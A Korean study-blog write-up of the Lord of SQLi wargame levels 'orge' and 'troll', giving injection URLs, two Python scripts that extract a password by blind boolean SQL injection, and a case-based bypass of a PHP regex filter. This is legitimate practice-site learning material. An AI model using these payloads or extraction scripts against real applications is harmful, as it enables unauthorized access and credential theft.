보안공부/워게임

lordofsql: orge,troll

mint* 2021. 7. 30. 16:43
728x90

길이를 알아내자

https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php?pw='||length(pw)='8

글자 부분은 문자열로 처리하는 것을 잊지 말자

8글자이다.

 

서연님 코드 💖

 

import string from requests import get cookies = dict(PHPSESSID="p24meiam9jk50qesefn9judace")

url = "https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php"

abc = string.digits + string.ascii_letters

result = 'result : ' length = 8 for i in range(1, length + 1):

for ch in abc: param = "?pw='||ascii(substr(pw," + str(i) + ",1))=" + str(ord(ch)) + "%23"

new_url = url + param req = get(new_url, cookies=cookies)

if req.text.find("<h2>Hello admin</h2>") > 0: result += ch

print(result)

break

 

지연님 코드 💖

import requests

password=''

for i in range(8):

    for j in range(48,122):

        URL='https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php'

        query={'pw':"' || id='admin' && substr(pw,"+str(i+1)+",1)=\""+chr(j)+"\"#"}

        headers={'Content-Type':'application/json:charset=utf-8'}

        cookies = {'PHPSESSID':'ae5ouk0j97f604dq5vvejgao5h'} //쿠키 적어주기

        res = requests.get(URL,params=query,headers=headers,cookies=cookies)

        if "Hello admin" in res.text:

            print("[=]Found:"+chr(j))

            password=password+chr(j)

            break

print(password)

 

 

 

근데 대문자가 아닌 소문자로 적어줘야한다.

신기하다

 

troll

코드

<?php  
  
include "./config.php"
  
login_chk(); 
  
$db dbconnect(); 
  if(
preg_match('/\'/i'$_GET[id])) exit("No Hack ~_~");
  if(
preg_match("/admin/"$_GET[id])) exit("HeHe");
  
$query "select id from prob_troll where id='{$_GET[id]}'";
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>";
  
$result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(
$result['id'] == 'admin'solve("troll");
  
highlight_file(__FILE__);
?>

id가 admin이면 troll이 풀리나보다.

https://los.rubiya.kr/chall/troll_05b5eb65d94daf81c42dd44136cb0063.php?id=admin

하면 HeHe가 뜬다.

admin 우회 방법

https://ar9ang3.tistory.com/7

 

웹해킹 SQLI 우회기법 정리 - Webhacking SQL Injection Bypass Honey Tips

지금까지 웹해킹 워게임을 풀면서 깨달은(?) 우회기법을 정리하려 합니다. 모두 수기로 기억나는대로 작성하다보니 빠진 부분도 있을 것 같습니다. 기억나는대로 추가해서 수정하겠습니다.  - o

ar9ang3.tistory.com

preg_match는 php에서 정규식을 표현하는 구문이다.

https://ponyozzang.tistory.com/176

 

알기 쉬운 PHP 정규식 표현 preg_match 함수 설명 및 샘플

알기 쉬운 PHP 정규식 표현 preg_match 함수 PHP에서는 preg_match함수를 사용하여 정규식 표현을 작성합니다. preg_match 첫 번째 인수 : 정규식 표현 작성. 두 번째 인수 : 검색 대상 문자열. 세 번째 인수 :

ponyozzang.tistory.com

정규식 표현들을 보면

https://blog.outsider.ne.kr/141 

 

정규식(Regular Expression) 대충 정리... :: Outsider's Dev Story

정규식은 학생때도 배웠고 가끔 접하긴 하는데 할때마다 어려운것 같다. 학생때는 아~ 이런거구나 한적도 있는것 같은데 코딩할려고 하면 막상 매칭시킬려고 하면 왜 이렇게 어려운건지.... 할

blog.outsider.ne.kr

 if(preg_match('/\'/i'$_GET[id])) exit("No Hack ~_~");

i는 대소문자 구분 없이라는 뜻이다. 

특수문자를 표현할때는 \를 붙여서 \" 라고 쓴다

--> '를 대소문자 구분없이 id와 매치하는지 확인 

매치할 경우 No Hack ~_~
  if(
preg_match("/admin/"$_GET[id])) exit("HeHe");

id가 admin이면 HeHe라고 뜬다.

/admin/ 라고 된 이유는 위 블로그를 보면 알겠지만 자바스크립트에서는 정규식을 /.../이렇게

묶어준다고한다. php도 그런 것 같다.

위 식에서 힌트를 얻어 대문자로 ADMIN을 쓰면 될 것이다. 

 

728x90